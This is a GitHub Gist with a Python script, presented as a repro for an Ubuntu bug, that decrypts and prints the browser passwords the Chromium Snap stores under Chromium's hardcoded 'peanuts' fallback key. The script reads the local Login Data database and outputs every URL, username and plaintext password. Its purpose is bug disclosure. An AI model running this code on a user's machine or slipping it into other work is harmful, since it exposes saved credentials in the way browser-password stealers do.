Skip to content

Instantly share code, notes, and snippets.

@nh2
Created May 5, 2026 14:20
Show Gist options
  • Select an option

  • Save nh2/3ddb2db465ec6066a860d10a042dabde to your computer and use it in GitHub Desktop.

Select an option

Save nh2/3ddb2db465ec6066a860d10a042dabde to your computer and use it in GitHub Desktop.
Repro for printing passwords which the Ubuntu Chromium Snap stores in "plain text" by default
#!/usr/bin/env python3
# This script outputs passwords that the Ubuntu Chromium Snap stores in plain text by default.
#
# It should also work for any other Chromium that uses `--password-store=basic` (which is what
# the Snap uses by default unless the user has manually connected it to a passowrd store backend).
# See
# https://chromium.googlesource.com/chromium/src/+/1fbcd1d2fcab302f8593393135fe6253a963101f/docs/linux/password_storage.md
# It is a repro for Ubuntu bug:
#
# https://bugs.launchpad.net/ubuntu/+source/chromium-browser/+bug/1996267
#
# The passwords are not actually stored in plain text, but obfuscated with a
# hardcoded password "peanuts" (called "v10 obfuscation").
# See source of various Chromium versions:
# https://chromium.googlesource.com/chromium/src/+/0c704e40d7ffde97832319971222897d6930a134/components/os_crypt/async/browser/posix_key_provider.cc#19
# https://github.com/chromium/chromium/blob/0c704e40d7ffde97832319971222897d6930a134/components/os_crypt/async/browser/posix_key_provider.cc#L19
# https://chromium.googlesource.com/chromium/chromium/+/refs/heads/main/chrome/browser/password_manager/encryptor_posix.cc#36
#
# Note this is not a Chromium bug.
# It makes sense that Chromium falls back to unsafe password storage if it is
# not provided a backend for safe password storage.
# The bug is that the Ubuntu Snap does not do that by default, apparently even though
# Ubuntu by default comes with such a backend.
# But the Snap containerization prevents Chromium from finding it without manual user intervention.
#
# LLM disclaimer: This script was oneshotted by Google Gemini Pro 3.1 given the bug link above, and human-reviewed.
# Needs `pycryptodome` python package
import os
import sqlite3
import shutil
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
def decrypt_chromium_snap_passwords():
# The hardcoded salt, password, and iterations from Chromium's source code
SALT = b"saltysalt"
PASSWORD = b"peanuts"
ITERATIONS = 1
KEY_LENGTH = 16 # 16 bytes = 128-bit key
# Derive the symmetric key exactly as Chromium's Basic Store does
print("[*] Deriving AES-128 key using PBKDF2 ('peanuts', 'saltysalt', 1 iteration)...")
key = hashlib.pbkdf2_hmac('sha1', PASSWORD, SALT, ITERATIONS, KEY_LENGTH)
# Path to the Chromium Snap Login Data database
db_path = os.path.expanduser("~/snap/chromium/common/chromium/Default/Login Data")
temp_db_path = "Login_Data_Temp.sqlite"
if not os.path.exists(db_path):
print(f"[-] Database not found at {db_path}.")
return
# Copy the database to avoid lock conflicts if Chromium is currently open
shutil.copy2(db_path, temp_db_path)
print(f"[*] Copied database to {temp_db_path}")
# Connect to the SQLite database
conn = sqlite3.connect(temp_db_path)
cursor = conn.cursor()
# Extract URLs, usernames, and encrypted passwords
try:
cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
except sqlite3.OperationalError as e:
print(f"[-] SQLite Error: {e}")
return
print("[*] Searching for 'v10' obfuscated passwords...\n")
for url, username, encrypted_password in cursor.fetchall():
if not encrypted_password:
continue
# Check if the BLOB starts with 'v10' (The signature of the Basic fallback store)
if encrypted_password.startswith(b'v10'):
# Strip the 3-byte 'v10' prefix to isolate the raw ciphertext
ciphertext = encrypted_password[3:]
# Chromium Basic store hardcodes 16 empty spaces as the Initialization Vector (IV)
iv = b' ' * 16
# Initialize AES-128-CBC Cipher
cipher = AES.new(key, AES.MODE_CBC, iv)
try:
# Decrypt and unpad the PKCS#7 block
decrypted_bytes = unpad(cipher.decrypt(ciphertext), AES.block_size)
decrypted_password = decrypted_bytes.decode('utf-8')
print("-" * 50)
print(f"URL: {url}")
print(f"Username: {username}")
print(f"Password: {decrypted_password}")
except Exception as e:
print(f"[-] Failed to decrypt password for {username} at {url}: {e}")
else:
# If it starts with v11, it successfully used an OS Keyring (e.g., Gnome Keyring/KWallet)
print(f"[-] Skipping {username} at {url} (Not using v10 Basic Fallback)")
print("-" * 50)
# Clean up
conn.close()
os.remove(temp_db_path)
if __name__ == "__main__":
decrypt_chromium_snap_passwords()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment